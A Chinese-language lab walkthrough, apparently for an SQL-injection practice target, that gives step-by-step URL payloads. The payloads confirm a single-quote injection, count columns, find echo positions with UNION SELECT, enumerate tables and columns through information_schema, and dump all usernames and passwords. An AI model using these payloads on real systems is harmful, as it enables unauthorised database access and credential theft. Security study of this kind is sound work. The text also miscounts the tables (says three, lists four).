一.前置知识
必备知识1:URL的各部分说明
参考学习:
什么是 URL? - 学习 Web 开发 | MDN (mozilla.org)
必备知识2:SQL注入基础01
自学web安全day07--SQL注入--(基础01)判断注入类型 - 掘金 (juejin.cn)
自学web安全day07--SQL注入--(基础02)获取数据库信息 - 掘金 (juejin.cn)
所用到的URL工具:HackerBar v2
进入网页右键检查即可找到,或者直接F12可以找到它(需要先在拓展坞中安装)
二.打靶过程
1.判断是否含有SQL漏洞
用户能够控制输入的内容
Web应用把用户输入的内容带到服务器中执行
进入该靶场
在URL中输入参数?id=1,观察结果,可以交互,说明存在SQL注入漏洞
2.判断SQL注入类型
试验点1:1 and 1=1
试验点2:1 and 1=2
结果发现试验点1和试验点2结果都相同,大概率是字符型注入
这里确定SQL的闭合方式
试验点3:1aaaa'
根据报错信息判断SQL语句的闭合方式
拆去near带来的左右成对单引号还剩下'1aaaa'
拆去原参数值还剩下',说明是单引号SQL字符型注入类型
3.获取列数
试验点1:?id=1'order by 10%23
试验点2:?id=1'order by 5%23
试验点3:?id=1'order by 3%23
成功,说明该表中有3列,即3个字段
4.获取回显位置
由于有3列,所有先输入试验点1:?id=1' union select 1,2,3%23
再输入试验点2:?id=-1' union select 1,2,3%23
因此回显位置在2号位和3号位,且只回显一条数据,因此建立试验点的位置在2,3(1号位置不显示,所以不作为回显位置)
5.获取数据库信息
1.获取数据库名
试验点1:?id=-1' union select 1,database(),version()%23
说明数据库名称为security,版本号为5.5.53
2.获取数据库表名
试验点1:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
说明有3个表:emails,referers,uagents,users
3.获取数据库列名
试验点1:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23
说明users表有11个字段,我们只要其中的username和password即可
4.获取数据库用户名和密码
试验点1:?id=-1' union select 1,username,password from users%23
可以查到一个用户的账号与密码
试验点2:?id=-1' union select 1,2,group_concat(username,password,id) from users%23
可以查到所有用户的账号和密码
试验点3:?id=-1' union select 1,group_concat(concat_ws('|',username,password)),group_concat(id) from users%23
可以利用函数嵌套的方式,分隔显示账号与密码,内层用concat_ws分隔,外层再用group_concat连接起来